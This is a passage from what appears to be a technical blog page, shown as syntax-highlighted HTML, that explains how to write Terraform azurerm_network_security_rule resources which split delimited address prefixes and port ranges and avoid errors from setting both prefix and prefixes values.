style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> port_str</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_port_ranges</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, port_str)])))</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    destination_address_prefix</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">   =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> destination_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, destination_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> :</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> tostring</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    destination_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> destination_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, destination_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> destination_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, destination_address)])) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    network_security_group_name</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">  =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    resource_group_name</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">          =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> tostring</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"-"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)[</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">1</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">])</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    depends_on</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">azurerm_network_security_group</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">security_group</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">]</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p><strong>But this would not work, because Terraform would yield some errors with <code>prefix</code> and <code>prefixes</code> values both set</strong></p>
<p>Using the <code>terraform console -plan</code> command, it is possible to check created values and observe that :</p>
<ul>
<li>When <code>prefix</code> values are not set, Terraform set the value at <code>tostring(null)</code>.</li>
<li>When <code>prefixes</code> values are not set, Terraform set the value at <code>tostring(null)</code>.</li>
</ul>
<p>The code was transformed to match Terraform expectations :</p>
<div class="language-terraform line-numbers-mode" data-highlighter="shiki" data-ext="terraform" data-title="terraform" style="--shiki-light:#24292e;--shiki-dark:#abb2bf;--shiki-light-bg:#fff;--shiki-dark-bg:#282c34"><pre class="shiki shiki-themes github-light one-dark-pro vp-code"><code><span class="line"><span style="--shiki-light:#6F42C1;--shiki-dark:#E5C07B">resource</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75"> "azurerm_network_security_rule"</span><span style="--shiki-light:#005CC5;--shiki-dark:#E06C75"> "security_rule"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> {</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    for_each</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                     =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> { </span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> rule</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> var</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">list_nsg_rules</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> :</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> rule</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">name</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> =&gt;</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> rule</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> }</span></span>
<span class="line"></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    name</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                         =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">name</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    priority</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                     =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">priority</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    direction</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                    =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">direction</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    access</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                       =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">access</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    protocol</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">                     =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">protocol</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    source_address_prefix</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">        =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> source_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, source_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> :</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> tostring</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    source_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">      =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> source_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, source_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">&gt;</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> source_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, source_address)])) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    source_port_range</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">            =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">source_port_range</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    destination_port_ranges</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">      =</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_port_ranges</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> "*"</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">"0-65535"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> (each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_port_ranges</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ==</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379"> ""</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> [] </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> port_str</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_port_ranges</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, port_str)])))</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    destination_address_prefix</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2">   =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> destination_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_address_prefixes</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">:</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">","</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, destination_address)]))) </span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">==</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66"> 1</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> ?</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF"> each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF"> :</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> tostring</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#D19A66">null</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">)</span></span>
<span class="line"><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">    destination_address_prefixes</span><span style="--shiki-light:#D73A49;--shiki-dark:#56B6C2"> =</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> length</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">toset</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2">flatten</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">([</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD">for</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75"> destination_address</span><span style="--shiki-light:#D73A49;--shiki-dark:#C678DD"> in</span><span style="--shiki-light:#005CC5;--shiki-dark:#56B6C2"> split</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">(</span><span style="--shiki-light:#032F62;--shiki-dark:#98C379">";"</span><span style="--shiki-light:#24292E;--shiki-dark:#ABB2BF">, each</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">value</span><span style="--shiki-light:#D73A49;--shiki-dark:#ABB2BF">.</span><span style="--shiki-light:#24292E;--shiki-dark:#E06C75">destination_address_prefixes</span><span 